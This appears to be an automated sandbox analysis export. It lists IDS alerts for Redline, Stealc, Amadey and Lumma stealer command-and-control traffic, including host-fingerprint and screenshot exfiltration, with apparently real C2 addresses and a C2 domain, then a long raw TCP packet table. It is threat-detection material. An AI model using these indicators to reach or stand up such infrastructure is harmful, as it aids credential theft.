2024-09-27T16:18:38.895941+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:38.901928+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	89.105.223.196	29862	192.168.2.6	49624	TCP
2024-09-27T16:18:39.076911+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:39.759588+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:40.028410+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:40.157684+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	91.202.233.158	80	192.168.2.6	49631	TCP
2024-09-27T16:18:40.427656+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49632	185.215.113.16	80	TCP
2024-09-27T16:18:40.429576+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:40.568196+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	91.202.233.158	80	192.168.2.6	49631	TCP
2024-09-27T16:18:40.909053+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49632	185.215.113.16	80	TCP
2024-09-27T16:18:41.967419+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:42.201908+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:42.710503+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:42.981795+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49633	185.215.113.16	80	TCP
2024-09-27T16:18:43.161882+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:43.213619+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:43.334999+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:43.383784+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:43.443612+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	185.215.113.67	15206	192.168.2.6	49630	TCP
2024-09-27T16:18:43.781655+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49634	185.215.113.103	80	TCP
2024-09-27T16:18:44.514426+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.596256+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:44.709132+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.886552+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.973328+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.101274+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.6	62485	1.1.1.1	53	UDP
2024-09-27T16:18:45.186486+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:45.191537+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:45.202116+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.439637+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.648628+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.6	49635	172.67.162.108	443	TCP
2024-09-27T16:18:45.666749+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.901722+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.924967+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:45.962539+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49635	172.67.162.108	443	TCP
2024-09-27T16:18:45.962539+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49635	172.67.162.108	443	TCP
2024-09-27T16:18:46.150883+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:47.159689+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49636	185.215.113.16	80	TCP
2024-09-27T16:18:47.893103+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:47.915090+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49637	185.215.113.103	80	TCP
2024-09-27T16:18:47.988628+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.123241+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:48.164840+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.338445+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.450690+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:48.510969+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.681472+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.6	49638	172.67.162.108	443	TCP
2024-09-27T16:18:48.687870+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:48.772547+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.937233+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:49.075721+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:49.164879+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:49.219413+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49638	172.67.162.108	443	TCP
2024-09-27T16:18:49.219413+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49638	172.67.162.108	443	TCP
2024-09-27T16:18:49.250423+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:49.438420+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:49.455805+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:49.628916+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:50.213958+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:50.681415+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:51.218494+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:51.436258+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:51.648586+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:51.711266+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49640	185.215.113.16	80	TCP
2024-09-27T16:18:51.935645+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49640	185.215.113.16	80	TCP
2024-09-27T16:18:52.034870+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:52.040041+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:52.072432+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:53.849543+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:54.209532+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.495900+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:54.515817+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.741661+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.970460+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:57.438058+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49645	185.215.113.16	80	TCP
2024-09-27T16:18:58.276248+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49646	104.21.64.194	443	TCP
2024-09-27T16:18:59.288493+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49643	TCP
2024-09-27T16:18:59.315537+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:59.517865+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:00.043736+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:19:00.648676+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49648	185.215.113.16	80	TCP
2024-09-27T16:19:00.691029+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:19:02.233566+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:03.042593+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49651	185.215.113.103	80	TCP
2024-09-27T16:19:07.544032+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:08.648586+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49659	185.215.113.16	80	TCP
2024-09-27T16:19:13.033250+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:14.059928+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49681	185.215.113.37	80	TCP
2024-09-27T16:19:24.373248+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49723	185.215.113.37	80	TCP
2024-09-27T16:19:27.107685+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49726	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 16:18:05.143796921 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:05.148678064 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:05.148814917 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:05.149002075 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:05.153987885 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:05.880045891 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:05.880841970 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:05.883866072 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:05.889689922 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:06.153175116 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:06.153194904 CEST	80	49602	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:06.153322935 CEST	49602	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:06.218456984 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.223742008 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.223824024 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.227287054 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.232353926 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935292006 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935339928 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935353041 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935396910 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935409069 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.935414076 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935429096 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935441971 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.935446978 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935476065 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.935507059 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.935622931 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935638905 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935656071 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.935663939 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.935674906 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.935736895 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.940308094 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.940340996 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.940385103 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.940399885 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:06.940468073 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:06.940519094 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059552908 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059618950 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059642076 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059655905 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059685946 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059686899 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059701920 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059712887 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059719086 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059721947 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059736967 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059743881 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059757948 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059779882 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.059921980 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.059963942 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.060645103 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.060674906 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.060687065 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.060697079 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.060709000 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.060729027 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.060729027 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.060748100 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.060762882 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.060770988 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.060781956 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.060811996 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.061353922 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.061368942 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.061383963 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.061434984 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.061508894 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.061522961 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.061539888 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.061566114 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.061566114 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.061583042 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.062304020 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.062325001 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.062344074 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.062361956 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.062387943 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.066992998 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.067040920 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.150409937 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.150513887 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.150902987 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.150954008 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.183661938 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183679104 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183692932 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183764935 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183779001 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183779955 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.183794022 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183809996 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.183831930 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.183849096 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184025049 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184040070 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184073925 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184098959 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184309006 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184357882 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184370995 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184384108 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184417963 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184429884 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184550047 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184597015 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184612989 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184631109 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184658051 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184668064 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184781075 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184796095 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184809923 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184823990 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.184828997 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184840918 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.184860945 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185405970 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185455084 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185461998 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185483932 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185503006 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185517073 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185545921 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185560942 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185575962 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185590029 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185591936 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185607910 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185631990 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.185796022 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.185847044 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186456919 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186474085 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186487913 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186511040 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186516047 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186531067 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186532974 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186547041 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186558008 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186562061 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186573029 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186593056 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186610937 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.186690092 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.186731100 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187216997 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187232018 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187252998 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187272072 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187272072 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187293053 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187413931 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187428951 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187443972 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187458992 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187465906 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187478065 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187498093 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.187659979 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.187707901 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.188235998 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.188251019 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.188285112 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.188297033 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.274210930 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.274319887 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.274604082 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.274657965 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:07.308747053 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:07.308764935 CEST	80	49603	185.215.113.117	192.168.2.6
